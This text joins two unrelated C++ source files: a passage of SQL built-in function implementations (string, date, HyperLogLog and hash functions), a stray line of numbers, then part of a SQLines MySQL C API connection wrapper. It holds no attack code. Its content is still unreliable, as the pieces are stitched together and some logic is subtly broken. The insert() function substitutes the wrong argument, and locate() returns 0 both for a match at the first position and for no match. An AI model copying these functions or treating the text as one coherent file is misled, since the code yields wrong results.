if (input.size() < 2) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
ExprValue tmp(pb::STRING);
int len = input[1].get_numberic<int>();
if (len <= 0) {
return tmp;
}
tmp.str_val = input[0].str_val;
tmp.str_val = tmp.str_val.substr(0, len);
return tmp;
}
ExprValue right(const std::vector<ExprValue>& input) {
if (input.size() < 2) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
ExprValue tmp(pb::STRING);
int len = input[1].get_numberic<int>();
if (len <= 0) {
return tmp;
}
int pos = input[0].str_val.size() - len;
if (pos < 0) {
pos = 0;
}
tmp.str_val = input[0].str_val;
tmp.str_val = tmp.str_val.substr(pos);
return tmp;
}
ExprValue trim(const std::vector<ExprValue>& input) {
if (input.size() != 1) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].str_val;
tmp.str_val.erase(0, tmp.str_val.find_first_not_of(" "));
tmp.str_val.erase(tmp.str_val.find_last_not_of(" ") + 1);
return tmp;
}
ExprValue ltrim(const std::vector<ExprValue>& input) {
if (input.size() != 1) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].str_val;
tmp.str_val.erase(0, tmp.str_val.find_first_not_of(" "));
return tmp;
}
ExprValue rtrim(const std::vector<ExprValue>& input) {
if (input.size() != 1) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].str_val;
tmp.str_val.erase(tmp.str_val.find_last_not_of(" ") + 1);
return tmp;
}
ExprValue concat_ws(const std::vector<ExprValue>& input) {
if (input.size() < 2) {
return ExprValue::Null();
}
if (input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
bool first_push = false;
for (int i = 1; i < input.size(); i++) {
if (!input[i].is_null()) {
if (!first_push) {
first_push = true;
tmp.str_val = input[i].get_string();
} else {
tmp.str_val += input[0].get_string() + input[i].get_string();
}
}
}
if (!first_push) {
return ExprValue::Null();
}
return tmp;
}
ExprValue ascii(const std::vector<ExprValue>& input) {
if (input.size() < 1) {
return ExprValue::Null();
}
if (input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT32);
if (input[0].str_val.empty()) {
tmp._u.int32_val = 0;
} else {
tmp._u.int32_val = static_cast<int32_t>(input[0].str_val[0]);
}
return tmp;
}
ExprValue strcmp(const std::vector<ExprValue>& input) {
if (input.size() != 2) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT32);
int64_t ret = input[0].compare(input[1]);
if (ret < 0) {
tmp._u.int32_val = -1;
} else if (ret > 0) {
tmp._u.int32_val = 1;
} else {
tmp._u.int32_val = 0;
}
return tmp;
}
ExprValue insert(const std::vector<ExprValue>& input) {
if (input.size() != 4) {
return ExprValue::Null();
}
for (auto s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
int pos = input[1].get_numberic<int>();
if (pos < 0) {
return input[0];
}
int len = input[2].get_numberic<int>();
if (len <= 0) {
return input[0];
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].str_val;
tmp.str_val.replace(pos, len, input[2].str_val);
return tmp;
}
ExprValue replace(const std::vector<ExprValue>& input) {
if (input.size() != 3) {
return ExprValue::Null();
}
if (input[0].is_null()) {
return ExprValue::Null();
}
if (input[1].str_val.empty()) {
return input[0];
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].str_val;
for (auto pos = 0; pos != std::string::npos; pos += input[2].str_val.length()) {
pos = tmp.str_val.find(input[1].str_val, pos);
if (pos != std::string::npos) {
tmp.str_val.replace(pos, input[1].str_val.length(), input[2].str_val);
} else {
break;
}
}
return tmp;
}
ExprValue repeat(const std::vector<ExprValue>& input) {
if (input.size() != 2) {
return ExprValue::Null();
}
if (input[0].is_null()) {
return ExprValue::Null();
}
int len = input[1].get_numberic<int>();
if (len <= 0) {
return ExprValue::Null();
}
std::string val = input[0].get_string();
ExprValue tmp(pb::STRING);
tmp.str_val.reserve(val.size() * len);
for (int i = 0; i < len; i++) {
tmp.str_val += val;
}
return tmp;
}
ExprValue reverse(const std::vector<ExprValue>& input) {
if (input.size() != 1) {
return ExprValue::Null();
}
if (input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].get_string();
std::reverse(tmp.str_val.begin(), tmp.str_val.end());
return tmp;
}
ExprValue locate(const std::vector<ExprValue>& input) {
if (input.size() < 2 || input.size() > 3) {
return ExprValue::Null();
}
for (auto s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
int begin_pos = 0;
if (input.size() == 3) {
begin_pos = input[2].get_numberic<int>();
}
ExprValue tmp(pb::INT32);
auto pos = input[1].str_val.find(input[0].str_val, begin_pos);
if (pos != std::string::npos) {
tmp._u.int32_val = pos;
} else {
tmp._u.int32_val = 0;
}
return tmp;
}
ExprValue unix_timestamp(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::UINT32);
if (input.size() == 0) {
tmp._u.uint32_val = time(NULL);
} else {
if (input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
tmp._u.uint32_val = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
}
return tmp;
}
ExprValue from_unixtime(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::TIMESTAMP);
tmp._u.uint32_val = input[0].get_numberic<uint32_t>();
return tmp;
}
ExprValue now(const std::vector<ExprValue>& input) {
return ExprValue::Now();
}
ExprValue date_format(const std::vector<ExprValue>& input) {
if (input.size() != 2) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
ExprValue tmp = input[0];
time_t t = tmp.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm t_result;
localtime_r(&t, &t_result);
char s[DATE_FORMAT_LENGTH];
strftime(s, sizeof(s), input[1].str_val.c_str(), &t_result);
ExprValue format_result(pb::STRING);
format_result.str_val = s;
return format_result;
}
ExprValue timediff(const std::vector<ExprValue>& input) {
if (input.size() < 2) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
ExprValue arg1 = input[0];
ExprValue arg2 = input[1];
int32_t seconds = arg1.cast_to(pb::TIMESTAMP)._u.uint32_val -
arg2.cast_to(pb::TIMESTAMP)._u.uint32_val;
ExprValue ret(pb::TIME);
ret._u.int32_val = seconds_to_time(seconds);
return ret;
}
ExprValue timestampdiff(const std::vector<ExprValue>& input) {
if (input.size() < 3) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
ExprValue arg2 = input[1];
ExprValue arg3 = input[2];
int32_t seconds = arg3.cast_to(pb::TIMESTAMP)._u.uint32_val -
arg2.cast_to(pb::TIMESTAMP)._u.uint32_val;
ExprValue ret(pb::INT64);
if (input[0].str_val == "second") {
ret._u.int64_val = seconds;
} else if (input[0].str_val == "minute") {
ret._u.int64_val = seconds / 60;
} else if (input[0].str_val == "hour") {
ret._u.int64_val = seconds / 3600;
} else if (input[0].str_val == "day") {
ret._u.int64_val = seconds / (24 * 3600);
} else {
// un-support
return ExprValue::Null();
}
return ret;
}
ExprValue curdate(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::DATE);
uint64_t datetime = timestamp_to_datetime(time(NULL));
tmp._u.uint32_val = (datetime >> 41) & 0x3FFFFF;
return tmp;
}
ExprValue current_date(const std::vector<ExprValue>& input) {
return curdate(input);
}
ExprValue curtime(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::TIME);
uint64_t datetime = timestamp_to_datetime(time(NULL));
tmp._u.int32_val = datetime_to_time(datetime);
return tmp;
}
ExprValue current_time(const std::vector<ExprValue>& input) {
return curtime(input);
}
ExprValue day(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue tmp(pb::UINT32);
time_t t = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
tmp._u.uint32_val = tm.tm_mday;
return tmp;
}
ExprValue dayname(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
uint32_t week_num = dayofweek(input)._u.uint32_val;
if (week_num <= day_names.size()) {
tmp.str_val = day_names[week_num - 1];
}
return tmp;
}
ExprValue monthname(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
uint32_t month_num = month(input)._u.uint32_val;
ExprValue tmp(pb::STRING);
if (month_num <= month_names.size()) {
tmp.str_val = month_names[month_num - 1];
}
return tmp;
}
ExprValue dayofweek(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue tmp(pb::UINT32);
time_t t = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
boost::gregorian::date today(tm.tm_year + 1900, ++tm.tm_mon, tm.tm_mday);
/*
DAYOFWEEK(d) 函数返回 d 对应的一周中的索引(位置)。1 表示周日,2 表示周一,……,7 表示周六
*/
tmp._u.uint32_val = today.day_of_week() + 1;
return tmp;
}
ExprValue dayofmonth(const std::vector<ExprValue>& input) {
return day(input);
}
ExprValue month(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue tmp(pb::UINT32);
time_t t = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
tmp._u.uint32_val = ++tm.tm_mon;
return tmp;
}
ExprValue year(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue tmp(pb::UINT32);
time_t t = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
tmp._u.uint32_val = tm.tm_year + 1900;
return tmp;
}
ExprValue time_to_sec(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT32);
ExprValue in = input[0];
time_t time = in.cast_to(pb::TIME)._u.int32_val;
bool minus = false;
if (time < 0) {
minus = true;
time = -time;
}
uint32_t hour = (time >> 12) & 0x3FF;
uint32_t min = (time >> 6) & 0x3F;
uint32_t sec = time & 0x3F;
uint32_t sec_sum = hour * 3600 + min * 60 + sec;
if (!minus) {
tmp._u.int32_val = sec_sum;
} else {
tmp._u.int32_val = -sec_sum;
}
return tmp;
}
ExprValue sec_to_time(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::STRING) {
in.cast_to(pb::INT32);
}
int32_t secs = in._u.int32_val;
bool minus = false;
if (secs < 0) {
minus = true;
secs = - secs;
}
ExprValue tmp(pb::TIME);
uint32_t hour = secs / 3600;
uint32_t min = (secs - hour * 3600) / 60;
uint32_t sec = secs % 60;
int32_t time = 0;
time |= sec;
time |= (min << 6);
time |= (hour << 12);
if (minus) {
time = -time;
}
tmp._u.int32_val = time;
return tmp;
}
ExprValue dayofyear(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue tmp(pb::UINT32);
time_t t = in.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
boost::gregorian::date today(tm.tm_year += 1900, ++tm.tm_mon, tm.tm_mday);
tmp._u.uint32_val = today.day_of_year();
return tmp;
}
ExprValue weekday(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue in = input[0];
if (in.type == pb::INT64) {
in.cast_to(pb::STRING);
}
ExprValue one = input[0];
time_t t = one.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
boost::gregorian::date today(tm.tm_year + 1900, ++tm.tm_mon, tm.tm_mday);
ExprValue tmp(pb::UINT32);
uint32_t day_of_week = today.day_of_week();
if (day_of_week >= 1) {
tmp._u.uint32_val = day_of_week - 1;
} else {
tmp._u.uint32_val = 6;
}
return tmp;
}
ExprValue week(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue one = input[0];
time_t t = one.cast_to(pb::TIMESTAMP)._u.uint32_val;
struct tm tm;
localtime_r(&t, &tm);
boost::gregorian::date today(tm.tm_year += 1900, ++tm.tm_mon, tm.tm_mday);
uint32_t week_number = today.week_number();
ExprValue tmp(pb::UINT32);
if (input.size() > 1) {
ExprValue two = input[1];
uint32_t mode = two.cast_to(pb::UINT32)._u.uint32_val;
if (!mode) {
week_number -= 1;
}
}
tmp._u.uint32_val = week_number;
return tmp;
}
ExprValue datediff(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null() || input[1].is_null()) {
return ExprValue::Null();
}
ExprValue left = input[0];
if (left.type == pb::INT64) {
left.cast_to(pb::STRING);
}
ExprValue right = input[1];
if (right.type == pb::INT64) {
right.cast_to(pb::STRING);
}
time_t t1 = left.cast_to(pb::TIMESTAMP)._u.uint32_val;
time_t t2 = right.cast_to(pb::TIMESTAMP)._u.uint32_val;
ExprValue tmp(pb::INT32);
tmp._u.int32_val = (t1 - t2) / (3600 * 24);
return tmp;
}
ExprValue hll_add(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
if (!input[0].is_hll()) {
(ExprValue&)input[0] = hll::hll_init();
}
for (size_t i = 1; i < input.size(); i++) {
if (!input[i].is_null()) {
hll::hll_add((ExprValue&)input[0], input[i].hash());
}
}
return input[0];
}
ExprValue hll_init(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
ExprValue hll_init = hll::hll_init();
for (size_t i = 0; i < input.size(); i++) {
if (!input[i].is_null()) {
hll::hll_add(hll_init, input[i].hash());
}
}
return hll_init;
}
ExprValue hll_merge(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
if (!input[0].is_hll()) {
(ExprValue&)input[0] = hll::hll_init();
}
for (size_t i = 1; i < input.size(); i++) {
if (input[i].is_hll()) {
hll::hll_merge((ExprValue&)input[0], (ExprValue&)input[i]);
}
}
return input[0];
}
ExprValue hll_estimate(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT64);
if (input[0].is_null()) {
tmp._u.int64_val = 0;
return tmp;
}
tmp._u.int64_val = hll::hll_estimate(input[0]);
return tmp;
}
ExprValue case_when(const std::vector<ExprValue>& input) {
for (size_t i = 0; i < input.size() / 2; ++i) {
auto if_index = i * 2;
auto then_index = i * 2 + 1;
if (input[if_index].get_numberic<bool>()) {
return input[then_index];
}
}
//没有else分支, 返回null
if (input.size() % 2 == 0) {
return ExprValue();
} else {
return input[input.size() - 1];
}
}
ExprValue case_expr_when(const std::vector<ExprValue>& input) {
for (size_t i = 0; i < (input.size() - 1) / 2; ++i) {
auto if_index = i * 2 + 1;
auto then_index = i * 2 + 2;
if (input[0].compare(input[if_index]) == 0) {
return input[then_index];
}
}
//没有else分支, 返回null
if ((input.size() - 1) % 2 == 0) {
return ExprValue();
} else {
return input[input.size() - 1];
}
}
ExprValue if_(const std::vector<ExprValue>& input) {
if (input.size() != 3) {
return ExprValue::Null();
}
return input[0].get_numberic<bool>() ? input[1] : input[2];
}
ExprValue ifnull(const std::vector<ExprValue>& input) {
if (input.size() != 2) {
return ExprValue::Null();
}
return input[0].is_null() ? input[1] : input[0];
}
ExprValue nullif(const std::vector<ExprValue>& input) {
if (input.size() != 2) {
return ExprValue::Null();
}
ExprValue arg1 = input[0];
ExprValue arg2 = input[1];
if (arg1.compare_diff_type(arg2) == 0) {
return ExprValue::Null();
} else {
return input[0];
}
}
ExprValue murmur_hash(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
ExprValue tmp(pb::UINT64);
if (input.size() == 0) {
tmp._u.uint64_val = 0;
} else {
tmp._u.uint64_val = make_sign(input[0].str_val);
}
return tmp;
}
ExprValue md5(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
ExprValue orig = input[0];
if (orig.type != pb::STRING) {
orig.cast_to(pb::STRING);
}
ExprValue tmp(pb::STRING);
unsigned char md5_str[16] = {0};
MD5_CTX ctx;
MD5_Init(&ctx);
MD5_Update(&ctx, orig.str_val.c_str(), orig.str_val.size());
MD5_Final(md5_str, &ctx);
tmp.str_val.resize(32);
int j = 0;
static char const zEncode[] = "0123456789abcdef";
for (int i = 0; i < 16; i ++) {
int a = md5_str[i];
tmp.str_val[j++] = zEncode[(a >> 4) & 0xf];
tmp.str_val[j++] = zEncode[a & 0xf];
}
return tmp;
}
ExprValue sha1(const std::vector<ExprValue>& input) {
if (input.size() == 0) {
return ExprValue::Null();
}
ExprValue orig = input[0];
if (orig.type != pb::STRING) {
orig.cast_to(pb::STRING);
}
ExprValue tmp(pb::STRING);
tmp.str_val = butil::SHA1HashString(orig.str_val);
return tmp;
}
ExprValue sha(const std::vector<ExprValue>& input) {
return sha1(input);
}
}
/* vim: set ts=4 sw=4 sts=4 tw=100 */
| 31,985 | 12,143 |
/**
* Copyright (c) 2016 SQLines
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// SqlMysqlApi MySQL C API
#if defined(WIN32) || defined(_WIN64)
#include <process.h>
#endif
#include <stdio.h>
#include "sqlmysqlapi.h"
#include "../sqlcommon/str.h"
#include "../sqlcommon/os.h"
// Required to access ODBC and CT-Lib constants
#include <sql.h>
#include <sqlext.h>
#include <ctpublic.h>
#if defined(WIN32) || defined(WIN64)
HMODULE SqlMysqlApi::_dll = NULL;
#else
void* SqlMysqlApi::_dll = NULL;
#endif
mysql_initFunc SqlMysqlApi::_mysql_init = NULL;
mysql_closeFunc SqlMysqlApi::_mysql_close = NULL;
mysql_errnoFunc SqlMysqlApi::_mysql_errno = NULL;
mysql_errorFunc SqlMysqlApi::_mysql_error = NULL;
mysql_fetch_fieldsFunc SqlMysqlApi::_mysql_fetch_fields = NULL;
mysql_fetch_rowFunc SqlMysqlApi::_mysql_fetch_row = NULL;
mysql_fetch_lengthsFunc SqlMysqlApi::_mysql_fetch_lengths = NULL;
mysql_free_resultFunc SqlMysqlApi::_mysql_free_result = NULL;
mysql_num_fieldsFunc SqlMysqlApi::_mysql_num_fields = NULL;
mysql_optionsFunc SqlMysqlApi::_mysql_options = NULL;
mysql_real_connectFunc SqlMysqlApi::_mysql_real_connect = NULL;
mysql_queryFunc SqlMysqlApi::_mysql_query = NULL;
mysql_set_character_setFunc SqlMysqlApi::_mysql_set_character_set = NULL;
mysql_set_local_infile_handlerFunc SqlMysqlApi::_mysql_set_local_infile_handler = NULL;
mysql_thread_initFunc SqlMysqlApi::_mysql_thread_init = NULL;
mysql_use_resultFunc SqlMysqlApi::_mysql_use_result = NULL;
// Constructor
SqlMysqlApi::SqlMysqlApi()
{
_cursor_result = NULL;
_ldi_rc = 0;
_ldi_terminated = 0;
_ldi_cols_count = 0;
_ldi_rows_count = 0;
_ldi_cols = NULL;
_ldi_current_row = 0;
_ldi_current_col = 0;
_ldi_current_col_len = 0;
_ldi_write_newline = false;
_ldi_lob_data = NULL;
_ldi_lob_size = 0;
_ldi_bytes = 0;
_ldi_bytes_all = 0;
_port = 0;
#if defined(WIN32) || defined(WIN64)
_wait_event = NULL;
_completed_event = NULL;
#endif
}
SqlMysqlApi::~SqlMysqlApi()
{
Deallocate();
}
// Initialize API for process (MySQL C library can be compiled as non thread-safe)
int SqlMysqlApi::InitStatic()
{
if(_static_init == true)
return 0;
TRACE("MySQL/C InitStatic() Entered");
const char *mysql_default_lib = MYSQL_C_DLL;
const char *mysql_load_error = MYSQL_DLL_LOAD_ERROR;
const char *mysql_64bit_load_error = MYSQL_64BIT_DLL_LOAD_ERROR;
const char *mysql_c_func_load_error = MYSQL_C_FUNC_LOAD_ERROR;
const char *mysql_lib = NULL;
if(_subtype == SQLDATA_SUBTYPE_MARIADB)
{
TRACE("MySQL/C InitStatic() for MariaDB");
mysql_default_lib = MARIADB_C_DLL;
mysql_load_error = MARIADB_DLL_LOAD_ERROR;
mysql_64bit_load_error = MARIADB_64BIT_DLL_LOAD_ERROR;
mysql_c_func_load_error = MARIADB_C_FUNC_LOAD_ERROR;
if(_parameters != NULL)
mysql_lib = _parameters->Get("-mariadb_lib");
}
if(mysql_lib != NULL)
{
TRACE_P("MySQL/C InitStatic() library: %s", mysql_lib);
_dll = Os::LoadLibrary(mysql_lib);
}
else
{
// Try to load the library by default path
TRACE_P("MySQL/C InitStatic() default library: %s", mysql_default_lib);
_dll = Os::LoadLibrary(mysql_default_lib);
}
if(_dll == NULL)
{
Os::GetLastErrorText(mysql_load_error, _native_error_text, 1024);
TRACE_P("MySQL/C InitStatic() error: %s", _native_error_text);
}
// DLL load failed (do not search if library path is set)
if(_dll == NULL && mysql_lib == NULL)
{
#if defined(WIN32) || defined(_WIN64)
// No error set if DLL is 64-bit and current sqldata build is 32-bit
bool sf = Os::Is64Bit(mysql_default_lib);
if(sf == true)
strcpy(_native_error_text, mysql_64bit_load_error);
// Try to find MySQL installation paths
// Note that search is performed for MySQL C Connector even for MariaDB
FindMysqlPaths();
for(std::list<std::string>::iterator i = _driver_paths.begin(); i != _driver_paths.end() ; i++)
{
std::string loc = (*i);
loc += MYSQL_C_DLL;
// Try to open DLL
_dll = LoadLibrary(loc.c_str());
if(_dll != NULL)
break;
// Set error for the current search item
Os::GetLastErrorText(MYSQL_DLL_LOAD_ERROR, _native_error_text, 1024);
// No error set if DLL is 64-bit
sf = Os::Is64Bit(MYSQL_C_DLL);
if(sf == true)
strcpy(_native_error_text, MYSQL_64BIT_DLL_LOAD_ERROR);
}
#else
char *error = Os::LoadLibraryError();
if(error != NULL)
strcpy(_native_error_text, error);
#endif
}
// Get functions
if(_dll != NULL)
{
// Save the full path of the loaded driver
Os::GetModuleFileName(_dll, _loaded_driver, 1024);
_mysql_init = (mysql_initFunc)Os::GetProcAddress(_dll, "mysql_init");
_mysql_close = (mysql_closeFunc)Os::GetProcAddress(_dll, "mysql_close");
_mysql_errno = (mysql_errnoFunc)Os::GetProcAddress(_dll, "mysql_errno");
_mysql_error = (mysql_errorFunc)Os::GetProcAddress(_dll, "mysql_error");
_mysql_fetch_fields = (mysql_fetch_fieldsFunc)Os::GetProcAddress(_dll, "mysql_fetch_fields");
_mysql_fetch_row = (mysql_fetch_rowFunc)Os::GetProcAddress(_dll, "mysql_fetch_row");
_mysql_fetch_lengths = (mysql_fetch_lengthsFunc)Os::GetProcAddress(_dll, "mysql_fetch_lengths");
_mysql_free_result = (mysql_free_resultFunc)Os::GetProcAddress(_dll, "mysql_free_result");
_mysql_num_fields = (mysql_num_fieldsFunc)Os::GetProcAddress(_dll, "mysql_num_fields");
_mysql_options = (mysql_optionsFunc)Os::GetProcAddress(_dll, "mysql_options");
_mysql_real_connect = (mysql_real_connectFunc)Os::GetProcAddress(_dll, "mysql_real_connect");
_mysql_query = (mysql_queryFunc)Os::GetProcAddress(_dll, "mysql_query");
_mysql_set_character_set = (mysql_set_character_setFunc)Os::GetProcAddress(_dll, "mysql_set_character_set");
_mysql_set_local_infile_handler = (mysql_set_local_infile_handlerFunc)Os::GetProcAddress(_dll, "mysql_set_local_infile_handler");
_mysql_thread_init = (mysql_thread_initFunc)Os::GetProcAddress(_dll, "mysql_thread_init");
_mysql_use_result = (mysql_use_resultFunc)Os::GetProcAddress(_dll, "mysql_use_result");
// mysql_set_character_set is available since 5.0.7, check for NULL when use
if(_mysql_init == NULL || _mysql_close == NULL || _mysql_errno == NULL || _mysql_error == NULL ||
_mysql_fetch_fields == NULL || _mysql_fetch_row == NULL || _mysql_fetch_lengths == NULL ||
_mysql_free_result == NULL || _mysql_num_fields == NULL || _mysql_options == NULL || _mysql_real_connect == NULL ||
_mysql_query == NULL || _mysql_set_local_infile_handler == NULL ||
_mysql_thread_init == NULL || _mysql_use_result == NULL)
{
strcpy(_native_error_text, MYSQL_C_FUNC_LOAD_ERROR);
return -1;
}
}
else
// Error message already set
return -1;
// Initialize the MySQL library
// mysql_library_init is not exported DLL function it is define for mysql_server_init
// but by calling mysql_init we force mysql_library_init() call to initialize the library for the process
// Must be called before threads are launched, otherwise the application crashes on some systems
if(_mysql_init != NULL)
{
MYSQL *mysql = _mysql_init(&_mysql);
if(mysql == NULL)
return -1;
// Initialize global options that take effect only for new connections
InitGlobalOptions();
// Did not work for MariaDB
//_mysql_options(&_mysql, MYSQL_OPT_LOCAL_INFILE, 0);
}
_static_init = true;
TRACE("MySQL/C InitStatic() Left");
return 0;
}
// Initialize API for thread
int SqlMysqlApi::Init()
{
if(_static_init == false)
return -1;
#if defined(WIN32) || defined(WIN64)
// Create synchronization objects for LOAD DATA INFILE command
_wait_event = CreateEvent(NULL, FALSE, FALSE, NULL);
_completed_event = CreateEvent(NULL, FALSE, FALSE, NULL);
#else
Os::CreateEvent(&_wait_event);
Os::CreateEvent(&_completed_event);
#endif
return 0;
}
// Set the connection string in the API object
void SqlMysqlApi::SetConnectionString(const char *conn)
{
if(conn == NULL)
return;
std::string db;
SplitConnectionString(conn, _user, _pwd, db);
const char *start = db.c_str();
// Find : and , that denote the server port and the database name
const char *semi = strchr(start, ':');
const char *comma = strchr(start, ',');
const char *end = (semi != NULL) ? semi :comma;
// Define server name
if(end != NULL)
_server.assign(start, (size_t)(end - start));
else
_server = start;
// Define port
if(semi != NULL)
{
std::string port;
if(comma != NULL && comma > semi)
port.assign(semi + 1, (size_t)(comma - semi - 1));
else
port = semi + 1;
sscanf(port.c_str(), "%d", &_port);
}
if(comma != NULL)
_db = Str::SkipSpaces(comma + 1);
}
// Connect to the database
int SqlMysqlApi::Connect(size_t *time_spent)
{
// Check if already connected
if(_connected == true)
return 0;
size_t start = (time_spent != NULL) ? Os::GetTickCount() : 0;
// Connect is called in a new thread so we must call mysql_init again but now for the thread (calls mysql_thread_init)
// If not mysqk_init not called in each thread working with MySQL, the application crashes
MYSQL *mysql = _mysql_init(&_mysql);
if(mysql == NULL)
return -1;
mysql = _mysql_real_connect(&_mysql, _server.c_str(), _user.c_str(), _pwd.c_str(),
_db.c_str(), (unsigned int)_port, NULL, CLIENT_LOCAL_FILES);
if(mysql == NULL)
{
SetError();
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
return -1;
}
// Set callbacks for LOAD DATA INFILE command
_mysql_set_local_infile_handler(&_mysql, local_infile_initS, local_infile_readS, local_infile_endS,
local_infile_errorS, this);
// Set version of the connected database
SetVersion();
// Call after version numbers are set
InitSession();
_connected = true;
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
return 0;
}
// Initialize global options that take effect only for new connections
int SqlMysqlApi::InitGlobalOptions()
{
if(_parameters == NULL)
return -1;
int rc = 0;
const char *max_allowed_packet = NULL;
// MariaDB options
if(_subtype == SQLDATA_SUBTYPE_MARIADB)
max_allowed_packet = _parameters->Get("-mariadb_max_allowed_packet");
// Set options in dedicated connection before all other connections
if(max_allowed_packet != NULL)
{
rc = Connect(NULL);
if(rc != -1)
{
rc = ExecuteNonQuery(std::string("SET GLOBAL max_allowed_packet=").append(max_allowed_packet).c_str(), NULL);
Disconnect();
}
}
return rc;
}
// Initialize session by setting options
int SqlMysqlApi::InitSession()
{
if(_parameters == NULL)
return -1;
int rc = 0;
const char *value = _parameters->Get("-mysql_set_character_set");
// mysql_set_character_set is available since 5.0.7
if(Str::IsSet(value) == true && _mysql_set_character_set != NULL)
rc = _mysql_set_character_set(&_mysql, value);
value = _parameters->Get("-mysql_set_foreign_key_checks");
if(Str::IsSet(value) == true)
{
std::string stmt = "SET FOREIGN_KEY_CHECKS=";
stmt += value;
rc = ExecuteNonQuery(stmt.c_str(), NULL);
}
// Set INNODB_STATS_ON_METADATA=0 to significantly speed up access to INFORMATION_SCHEMA views
// (about 5-10 times faster from 5-10 sec to 0.5-1 sec). But this requires SUPER privilege
// Available since 5.1.17
if(IsVersionEqualOrHigher(5, 1, 17) == true)
rc = ExecuteNonQuery("SET GLOBAL INNODB_STATS_ON_METADATA=0", NULL);
// Binary logging for replication. This requires SUPER privilege!
if(_subtype == SQLDATA_SUBTYPE_MARIADB)
{
value = _parameters->Get("-mariadb_set_sql_log_bin");
if(Str::IsSet(value))
rc = ExecuteNonQuery(std::string("SET sql_log_bin=").append(value).c_str(), NULL);
}
else
rc = ExecuteNonQuery("SET sql_log_bin=0", NULL);
// If AUTOCOMMIT is set to 0 in the database or client side, LOAD DATA INFILE requires a COMMIT statement
// to put data to the table, so we force AUTOCOMMIT to 1 for connection
rc = ExecuteNonQuery("SET autocommit=1", NULL);
